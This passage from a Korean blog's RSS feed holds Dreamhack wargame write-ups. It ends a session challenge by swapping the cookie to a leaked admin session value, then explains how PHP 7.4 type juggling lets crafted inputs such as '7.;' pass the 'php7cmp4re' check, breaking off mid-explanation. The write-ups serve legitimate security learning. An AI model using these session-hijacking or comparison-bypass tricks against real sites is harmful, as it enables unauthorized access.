&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;따라서 로그인 후 url뒤에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;/admin&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;을 붙여주면 다음과 같이 저장된&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;session_storage&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;의 리스트 값들이 나온다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;이걸로 쿠키값을 바꾸어주면 admin으로 로그인했다고 인식한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pu0Sl/btsQSucLt0K/lq9C5KfKhzL3I6vllokD9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pu0Sl/btsQSucLt0K/lq9C5KfKhzL3I6vllokD9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pu0Sl/btsQSucLt0K/lq9C5KfKhzL3I6vllokD9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpu0Sl%2FbtsQSucLt0K%2Flq9C5KfKhzL3I6vllokD9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;355&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uEZHh/btsQVLjpdeV/jnz2yA5eZJIVpVtKs3Vdt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uEZHh/btsQVLjpdeV/jnz2yA5eZJIVpVtKs3Vdt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uEZHh/btsQVLjpdeV/jnz2yA5eZJIVpVtKs3Vdt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuEZHh%2FbtsQVLjpdeV%2Fjnz2yA5eZJIVpVtKs3Vdt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;257&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <category>cookie</category>
      <category>Dreamhack</category>
      <category>Session</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>웹</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/17</guid>
      <comments>https://xmi1e-vir.tistory.com/17#entry17comment</comments>
      <pubDate>Mon, 29 Sep 2025 17:04:07 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'php7cmp4re' write-up</title>
      <link>https://xmi1e-vir.tistory.com/16</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1113&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;php 7.4로 작성된 페이지입니다.&lt;br /&gt;알맞은 Input 값을 입력하고 플래그를 획득하세요.&lt;br /&gt;플래그 형식은 DH{}&amp;nbsp;입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;h4 id=&quot;indexphp&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;index.php&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;input1과&lt;span&gt;&amp;nbsp;&lt;/span&gt;input2를 입력하여 submit하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;check.php로 제출된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1758620150844&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;
      &amp;lt;div class=&quot;box&quot;&amp;gt;
      &amp;lt;h4&amp;gt;Enter the correct Input.&amp;lt;/h4&amp;gt;
        &amp;lt;p&amp;gt;
          &amp;lt;form method=&quot;post&quot; action=&quot;/check.php&quot;&amp;gt;
              &amp;lt;input type=&quot;text&quot; placeholder=&quot;input1&quot; name=&quot;input1&quot;&amp;gt;
              &amp;lt;input type=&quot;text&quot; placeholder=&quot;input2&quot; name=&quot;input2&quot;&amp;gt;
              &amp;lt;input type=&quot;submit&quot; value=&quot;제출&quot;&amp;gt;
          &amp;lt;/form&amp;gt;
        &amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;flag가 존재하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;flag.php로 직접 이동하는 것은 방지되어있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1758620164942&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
    require_once('flag.php');
    error_reporting(0);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;checkphp&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;check.php&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 코드가 핵심인데, 우리는&lt;span&gt;&amp;nbsp;&lt;/span&gt;input1과&lt;span&gt;&amp;nbsp;&lt;/span&gt;input2에 해당 코드에서 정의 해놓은 규칙에 부합하는 값을 입력해야한다.&lt;/li&gt;
&lt;li&gt;정리해보면 다음과 같다.
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;두 입력값 모두 빈칸이 아닐것&lt;/li&gt;
&lt;li&gt;input1의 길이가 4보다 작을것&lt;/li&gt;
&lt;li&gt;input1의 값이 &quot;8&quot;, &quot;7.A&quot;보다 작고, &quot;7.9&quot;보다는 클것&lt;/li&gt;
&lt;li&gt;input2의 길이가 1과 3사이&lt;/li&gt;
&lt;li&gt;input2가 74보다 작고 &quot;74&quot;보다 큼&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1758620201343&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;
&amp;lt;?php
require_once('flag.php');
error_reporting(0);
// POST request
if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
  $input_1 = $_POST[&quot;input1&quot;] ? $_POST[&quot;input1&quot;] : &quot;&quot;;
  $input_2 = $_POST[&quot;input2&quot;] ? $_POST[&quot;input2&quot;] : &quot;&quot;;
  sleep(1);

  if($input_1 != &quot;&quot; &amp;amp;&amp;amp; $input_2 != &quot;&quot;){
    if(strlen($input_1) &amp;lt; 4){
      if($input_1 &amp;lt; &quot;8&quot; &amp;amp;&amp;amp; $input_1 &amp;lt; &quot;7.A&quot; &amp;amp;&amp;amp; $input_1 &amp;gt; &quot;7.9&quot;){
        if(strlen($input_2) &amp;lt; 3 &amp;amp;&amp;amp; strlen($input_2) &amp;gt; 1){
          if($input_2 &amp;lt; 74 &amp;amp;&amp;amp; $input_2 &amp;gt; &quot;74&quot;){
            echo &quot;&amp;lt;/br&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;pre&amp;gt;FLAG\n&quot;;
            echo $flag;
            echo &quot;&amp;lt;/pre&amp;gt;&quot;;
          } else echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Good try.&amp;lt;/h4&amp;gt;&quot;;
        } else echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Good try.&amp;lt;/h4&amp;gt;&amp;lt;br&amp;gt;&quot;;
      } else echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Try again.&amp;lt;/h4&amp;gt;&amp;lt;br&amp;gt;&quot;;
    } else echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Try again.&amp;lt;/h4&amp;gt;&amp;lt;br&amp;gt;&quot;;
  } else{
    echo '&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Fill the input box.&amp;lt;/h4&amp;gt;';
  }
} else echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h3&amp;gt;WHat??!&amp;lt;/h3&amp;gt;&quot;;
?&amp;gt; 
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제에서 주어진 웹사이트의 동작과 조건을 이해하는 것은 어렵지 않았지만, php 관련 지식이 없다보니까 푸는 데에는 굉장히 어려움을 겪었다.&lt;/p&gt;
&lt;h4 id=&quot;php-숫자형-문자열-numeric-string&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;php 숫자형 문자열 (numeric string)&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;일단 해당 문제의 제목이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;php 7.4&lt;/b&gt;인 만큼 해당 버전에서만 나타나는 동작, 취약점이 존재할 것이라고 생각했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제를 풀기 위해서는 숫자형 문자열에 대해서 알아야한다.&lt;br /&gt;php에서는 문자열이 숫자처럼 해석될 수 있는 경우, 자동으로 숫자형으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;형 변환(type juggling)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 일어나는 경우가 있다. 이때 해당 문자열을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;numeric string (숫자형 문자열)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이라고 부른다. 이러한 문자열은 정수 또는 부동소수점 형식으로 파싱될 수 있는 문자열이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아래는 예시이다.&lt;/p&gt;
&lt;pre id=&quot;code_1758620261208&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;var_dump(&quot;123&quot; + 1);         // int(124)
var_dump(&quot;10.5&quot; * 2);        // float(21)
var_dump(&quot;123abc&quot; + 1);      // int(124) &amp;ndash; 앞쪽 숫자만 사용됨
var_dump(&quot;abc123&quot; + 1);      // int(1) &amp;ndash; 숫자로 변환 실패시 0 처리&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단, 몇가지 주의점이 존재한다.&lt;/li&gt;
&lt;li&gt;&quot;123abc&quot;처럼 앞쪽에 숫자가 있고 뒤에 문자가 있으면, 앞부분만 숫자로 파싱된다.&lt;/li&gt;
&lt;li&gt;반대로 &quot;abc123&quot;처럼 앞에 문자가 있으면, 전체가 숫자로 변환되지 않아 0으로 간주된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;==&lt;span&gt;&amp;nbsp;&lt;/span&gt;비교 시에도 영향을 주고, 이는 타입 변환 취약점(Type Juggling Vulnerability)이라는 실제 취약점으로 존재한다.&lt;br /&gt;간단히 말해서 php에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;==와 같은 느슨한 비교(loose comparison)를 사용할때 두 값의 타입이 다르면 자동으로 type juggling이 시도되기 때문에 이 과정에서 의도치 않은 동등 비교 결과가 발생할 수 있어 보안상 취약점이 된다.&lt;br /&gt;이 문제에서는 해당 취약점이 핵심이 아니기 때문에 참고할만한 블로그를 첨부한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://hyeonql.tistory.com/entry/PHP-%EC%97%B0%EC%82%B0%EC%9E%90-%EC%B7%A8%EC%95%BD%EC%A0%90%EA%B3%BC-%EC%98%88%EB%B0%A9%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hy30nq - php 취약점과 예방법&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://blog.naver.com/gkdisakdmaqk/221321886136&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gkdisakdmaqk - php 비교 연산자 취약점(md5 매직해시)&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://hyunmini.tistory.com/90&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hyunmini - php 의 연산자 취약점&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdlF1Z/btsQKRFlPNh/sfHbMD7vzCcBz1ohk72nB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdlF1Z/btsQKRFlPNh/sfHbMD7vzCcBz1ohk72nB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdlF1Z/btsQKRFlPNh/sfHbMD7vzCcBz1ohk72nB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdlF1Z%2FbtsQKRFlPNh%2FsfHbMD7vzCcBz1ohk72nB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;484&quot; height=&quot;555&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;555&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJlyWG/btsQLzYs9hw/k5WO54GB188TZaqRVg9GB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJlyWG/btsQLzYs9hw/k5WO54GB188TZaqRVg9GB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJlyWG/btsQLzYs9hw/k5WO54GB188TZaqRVg9GB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJlyWG%2FbtsQLzYs9hw%2Fk5WO54GB188TZaqRVg9GB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;548&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;php-74에서-숫자형-문자열의-기준&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;php 7.4에서 숫자형 문자열의 기준&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;php 7.4에서 숫자형 문자열은&lt;span&gt;&amp;nbsp;&lt;/span&gt;is_numeric_string_ex()&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수의 처리 방식에 따라서 판단된다. 해당 함수에서는 정규표현식으로 숫자형 문자열을 판단하는데, 조건 중 하나를 만족하면 숫자형 문자열로 간주어되어 느슨한 비교시 숫자 변환이 이루어진다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;정규표현식의 조건은 아래와 같다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;1. 정수(integer) 형태&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1758620374036&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;^[+-]?[0-9]+$&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;앞뒤에 공백은 허용 (trim 후 판정)&lt;/li&gt;
&lt;li&gt;EX)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;0&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;123&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;-42&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;+7&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 부동소수(float) 형태&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1758620401866&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;^[+-]?(?:[0-9]*\.[0-9]+|[0-9]+\.[0-9]*)$&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소수점 앞이나 뒤는 비어 있어도 됨 (하나는 숫자여야 함)&lt;/li&gt;
&lt;li&gt;EX)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;3.14&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;0.5&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;.5&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;5.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 지수 표기법(exponent) 형태&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1758620419335&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;^[+-]?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)[eE][+-]?[0-9]+$&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EX)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;1e10&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;3.5E+7&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;2.0e-3&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 양끝 공백 허용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot; 123 &quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; OK (공백 제거 후 판정)&lt;/li&gt;
&lt;li&gt;&quot; 3.14 &quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; OK&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 허용 안되는 경우&lt;/b&gt;&lt;br /&gt;아래와 같이 규칙을 벗어나면 숫자형 문자열이 아님&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;숫자 뒤에 알파벳/특수문자 (&quot;123abc&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;1.2.3&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;7.A&quot;)&lt;/li&gt;
&lt;li&gt;숫자 시작이 아니면서 숫자 부분이 없는 경우 (&quot;abc&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;-&quot;)&lt;/li&gt;
&lt;li&gt;지수부 형식이 불완전 (&quot;1e&quot;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;2e+&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;헷갈렸던-부분&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;헷갈렸던 부분&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;내가 이 문제를 풀며 가장 헷갈렸던 부분은 총 두가지이다.&lt;br /&gt;1. &quot;숫자형 문자열&quot;과 &quot;숫자&quot;는 엄연히 다르다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;8&quot;과 같은 것들이 다 숫자로 무조건 변환된다고 생각했으나, 기본적으로는 문자열이라는 사실을 잊으면 안된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 둘 중 하나라도 &quot;숫자형 문자열&quot;의 기준에 부합하지 않으면 &quot;문자열&quot;끼리는 아스키 비교&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하나라도 숫자형 문자열이면 둘다 숫자로 변환한다고 생각했다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;input1 &lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input1에 해당하는 조건은 &lt;br /&gt;1.&amp;nbsp;빈칸이&amp;nbsp;아닐것 &lt;br /&gt;2.&amp;nbsp;`input&amp;nbsp;&amp;lt;&amp;rdquo;8&amp;rdquo;` &lt;br /&gt;&amp;rarr;&amp;nbsp;`&amp;ldquo;8&amp;rdquo;`:&amp;nbsp;숫자형&amp;nbsp;문자열 &lt;br /&gt;3.&amp;nbsp;`&amp;ldquo;7.9&amp;rdquo;&amp;nbsp;&amp;lt;&amp;nbsp;input&amp;nbsp;&amp;lt;&amp;nbsp;&amp;ldquo;7.A&amp;rdquo;` &lt;br /&gt;&amp;rarr;&amp;nbsp;`&amp;ldquo;7.A&amp;rdquo;`:&amp;nbsp;문자열 &lt;br /&gt;&amp;rarr;&amp;nbsp;`&amp;ldquo;7.9&amp;rdquo;`:&amp;nbsp;숫자형&amp;nbsp;문자열 &lt;br /&gt;&lt;br /&gt;비교하는&amp;nbsp;연산자&amp;nbsp;중에&amp;nbsp;하나라도&amp;nbsp;숫자형&amp;nbsp;문자열이&amp;nbsp;아니라면&amp;nbsp;문자열로&amp;nbsp;간주하여&amp;nbsp;비교한다.&amp;nbsp; &lt;br /&gt;숫자로는&amp;nbsp;위&amp;nbsp;조건에&amp;nbsp;부합할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;것이&amp;nbsp;없으므로&amp;nbsp;전부다&amp;nbsp;아스키코드로&amp;nbsp;즉,&amp;nbsp;문자열로써&amp;nbsp;비교하게&amp;nbsp;만들어야&amp;nbsp;한다. &lt;br /&gt;&lt;br /&gt;따라서&amp;nbsp;아스키코드&amp;nbsp;상으로&amp;nbsp;8과&amp;nbsp;7.A보다&amp;nbsp;작으며,&amp;nbsp;7.9보다&amp;nbsp;큰&amp;nbsp;경우를&amp;nbsp;찾으면&amp;nbsp;된다. &lt;br /&gt;나는&amp;nbsp;**`7.;`**&amp;nbsp;을&amp;nbsp;입력값으로&amp;nbsp;지정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;input2&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input2에 해당하는 조건은 &lt;br /&gt;1.&amp;nbsp;빈칸이&amp;nbsp;아닐것 &lt;br /&gt;2.&amp;nbsp;길이가&amp;nbsp;1과&amp;nbsp;3사이&amp;nbsp; &lt;br /&gt;&amp;rarr;&amp;nbsp;2자리 &lt;br /&gt;3.&amp;nbsp;`input_2&amp;nbsp;&amp;lt;&amp;nbsp;74` &lt;br /&gt;&amp;rarr;&amp;nbsp;74는&amp;nbsp;숫자 &lt;br /&gt;4.&amp;nbsp;`input_2&amp;nbsp;&amp;gt;&amp;nbsp;&quot;74&quot;` &lt;br /&gt;&amp;rarr;&amp;nbsp;&quot;74&quot;는&amp;nbsp;숫자형&amp;nbsp;문자열 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;74&amp;nbsp;자체는&amp;nbsp;숫자이므로&amp;nbsp;3번&amp;nbsp;조건에서는&amp;nbsp;숫자로&amp;nbsp;비교할&amp;nbsp;수&amp;nbsp;밖에없다. &lt;br /&gt;그러나,&amp;nbsp;4번&amp;nbsp;조건도&amp;nbsp;숫자로&amp;nbsp;비교하면&amp;nbsp;통과하는&amp;nbsp;것이&amp;nbsp;불가능하다. &lt;br 